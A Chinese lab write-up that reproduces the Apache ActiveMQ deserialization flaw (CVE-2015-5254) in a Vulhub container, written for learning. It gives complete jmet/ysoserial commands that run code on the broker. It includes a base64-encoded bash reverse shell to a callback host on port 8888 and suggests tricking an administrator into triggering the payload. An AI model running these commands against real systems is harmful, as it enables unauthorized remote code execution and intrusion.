漏洞payload 靶机_漏洞复现:ActiveMQ反序列化漏洞(CVE20155254)

文章说明

漏洞复现是为了学习漏洞利用所写,漏洞都是互联网上以流传已久的各种漏洞的利用及原理,用来增强自己见识,培养自己动手能力,有兴趣的朋友可自行搭建环境练习。源码下载连接在文章最后。

漏洞说明

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

参考链接:

  • https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

环境搭建

1、进入到Vulhub中对于的漏洞号中,运行命令:docker-compose up -d,出现done,说明容器运行成功

45319dc0724f980ad259b6cbbd636dab.png2、输入命令,docker ps,可以查看容器信息,看到开启了8161和61616端口,其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的

1be388644a4accc376bb562689bf9dce.png

a803f3bd0837eba206a48a38c3bf8ff6.png

漏洞复现

1、本漏洞使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。

jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

jmet需要JAVA环境支持,如果没安装JAVA可以运行,apt-get install openjdk-8-jre-headless。安装完成之后运行java -version看是否出现安装的java版本,有信息说明java安装成功

c9fc80cdaf5f45c35768b85300f8b59f.png

JAVA安装完成之后,安装jmet,执行

切换到opt目录:cd /opt/

下载jemt:sudo wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

ad7ce2ff6e5842e2a4fa49d3a31229de.png创建目录,mkdir external

8fca00c438879c50347d7ca788cbc11c.png

2、构建pyload:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/xxx" -Yp ROME your-ip 61616,这个pyload是在靶机/tmp/目录下创建一个xxx文件

4eb219d67b2d4769a876ecf55b05d03c.png此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://192.168.190.133:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

f5af38639c5a7c059f038a9ab009814b.png点击事件就会触发执行命令36a82c0643a567ca87c29f80dc3ffb86.png

进入docker下的/tmp查看情况

查看容器ID:docker ps

进入容器:docker exec -it 容器ID /bin/bash

查看命令执行成功

2b1dc685492ecb54de89d03f7c69ba09.png3、反弹shell

使用payload命令: java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/192.168.190.134/8888 0>&1" -Yp ROME 192.168.190.133 61616

这里需要一些小技巧来绕过java的机制,bash -c {echo,payload的basse64编码}|{base64,-d}|{bash,-i}

完全构成的Pyload为:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMzQvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.190.133 61616

5827c743dd51083a737c52853748caba.pngshell反弹成功:

fbcc1ffea5bcebbb78b7c52c961606f7.png

21f6b30c414609c9aadd91477aa2ff00.png值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值